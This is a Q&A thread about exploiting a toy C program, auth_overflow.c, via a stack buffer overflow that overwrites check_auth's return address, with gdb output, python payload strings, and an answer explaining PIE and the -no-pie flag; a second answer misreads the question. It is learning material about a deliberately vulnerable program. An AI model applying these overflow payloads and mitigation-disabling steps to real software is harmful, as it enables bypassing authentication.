无法覆盖gdb以外的返回地址

Question

I try to use a buffer overflow on the stack to redirect the return address. My goal is to overwrite the return address within the "check_auth" function, that the main continues at line 22 ("printf("GRANTED\\n");"). Here is the C code:

fugi@calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi@calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1       #include <stdio.h>
2       #include <stdlib.h>
3       #include <string.h>
4   
5       int check_auth(char *pass){
6           char pass_buff[16];
7           int auth_flag = 0;
8           strcpy(pass_buff, pass);
9   
10          if(strcmp(pass_buff, "yes") == 0)
(gdb) 
11              auth_flag = 1;
12          return auth_flag; 
13      }
14  
15      int main( int argc, char *argv[]){
16          if(argc < 2){
17              printf("Usage: %s <password>\n\n", argv[0]);
18              exit(0);
19          }
20          if(check_auth(argv[1])){
(gdb) 
21              printf("ACCESS\n");
22              printf("GRANTED\n");
23          }
24          else{
25              printf("\n Access Denied\n");
26          }
27          return 0;
28      }

I am using gdb on a 64bit Debian system, to debug the code. My problem is, the overwriting doesn't work outside of gdb.

I know, that the return address in which points back to main and the the beginning of the input variable(pass_buff) are 40 bytes appart.

 (gdb) i f 
 Stack level 0, frame at 0x7fffffffe170:
 rip = 0x55555555477d in check_auth (auth_overflow.c:8); saved rip = 0x555555554800
 called by frame at 0x7fffffffe190
 source language c.
 Arglist at 0x7fffffffe160, args: pass=0x7fffffffe562 'A' <repeats 56 times>
 Locals at 0x7fffffffe160, Previous frame's sp is 0x7fffffffe170
 Saved registers:
 rbp at 0x7fffffffe160, rip at 0x7fffffffe168
(gdb) x/x *0x7fffffffe168
0x55554800: Cannot access memory at address 0x55554800
(gdb) x/x pass_buff
0x7fffffffe140: 0x00000001
(gdb) p 0x7fffffffe168 - 0x7fffffffe140
$1 = 40

So, when I do this:

(gdb) run `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Starting program: /home/fugi/Desktop/auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
GRANTED

Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>, 
argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at auth_overflow.c:28
28      }

But when I do it without gdb it doesn't work:

fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Segmentation fault

What can I do to make this work?

I also tried to do this by repeating the address, but the problem here is, that I can't print null bytes:

(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156  0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141  0x4141414141414141
0x7fffffffe150: 0x4141414141414141  0x4141414141414141
0x7fffffffe160: 0x4141414141414141  **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268  0x0000000200000000
0x7fffffffe180: 0x0000555555554840  0x00007ffff7a57561

to make the address fit I need to add \\x00\\x00 but then I get:

fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault

Is there a way to repeat the address like this?

Thanks for you help in advance

Answer 1

I don't know about exact build settings in your development environment, but I can guess some problems.

• on current Linux environment, PIE (Position-Independent-Executive) is enabled. which means, your target address is not always 0x0000555555554810 . to check that, add this code to main function :

   printf("CODE: %p\\n", (void*)main); 

  if this code generates same address every times, then PIE is disabled.

• argv argument cannot include NULL byte (except end of string). but this is not a critical problem because on x86-64 system they uses only 6 low bytes for virtual address.

to disable PIE build : use -no-pie . gcc main.c -o main -no-pie

Answer 2

If you're asking how to return check_auth(), I'd do this:

int main( int argc, char *argv[]){
    if(argc < 2){
        printf("Usage: %s <password>\n\n", argv[0]);
        exit(0);
    }

    int flag = check_auth(argv[1]);

    if(flag){

        printf("ACCESS\n");
        printf("GRANTED\n");
    }else{
        printf("\n Access Denied\n");
    }
    return flag;
}

My main language is Java, actually, so if I'm wrong, please correct me. I'm trying to learn C as we speak.